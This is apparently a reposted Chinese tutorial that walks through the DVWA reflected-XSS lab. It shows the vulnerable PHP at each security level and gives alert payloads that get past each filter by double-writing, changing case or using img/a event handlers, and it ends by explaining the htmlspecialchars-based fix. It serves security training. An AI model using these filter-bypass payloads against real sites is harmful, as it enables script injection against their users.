xSS-Reflected

mac2022-06-30  94

反射性(非持久性XSS),藏在URL中

一般用户访问恶意链接执行

 

Low

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>

没有进行任何过滤     payload:

<script>alert('xss')</script>

 

 

Medium

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; }

将<script>替换成空

双写绕过即可 payload:

<scri<script>pt>alert('xss')</script>

 

或者采用大小写绕过

<scRIpt>alert('xss')</script>

 

High

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>

过滤script,但是并没有过滤其他的事件,可以用 img svg  iframe等绕过

先将前面的标签闭合

payload:

</pre><img src="x" οnerrοr=alert('xss')>

 

<a href='#' οnclick=alert('xss')>a</a>

 

 Impossible

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); htmlspecialchars函数将字符转义成HTML实体&:转换为&":转换为"':转换为成为 '<:转换为<>:转换为>同时采用token来验证身份,从而防止XSS攻击和CSRF攻击

 

转载于:https://www.cnblogs.com/gaonuoqi/p/11391602.html

最新回复(0)